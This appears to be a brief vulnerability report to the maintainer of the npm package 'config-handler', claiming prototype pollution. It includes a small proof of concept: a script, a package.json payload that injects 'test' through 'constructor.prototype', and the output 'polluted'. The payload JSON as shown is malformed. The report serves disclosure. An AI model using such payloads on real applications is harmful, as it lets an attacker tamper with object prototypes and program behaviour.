Hey i recently found that your package is vulnerable to Prototype Pollution.

poc.js

```
const config = require('config-handler')();
console.log(test)
console.log(config)
```

package.json

```
{
  "constructor": {
    "prototype": {
      {"test": "polluted"}
    }
  }
}
```

output

```
polluted
```
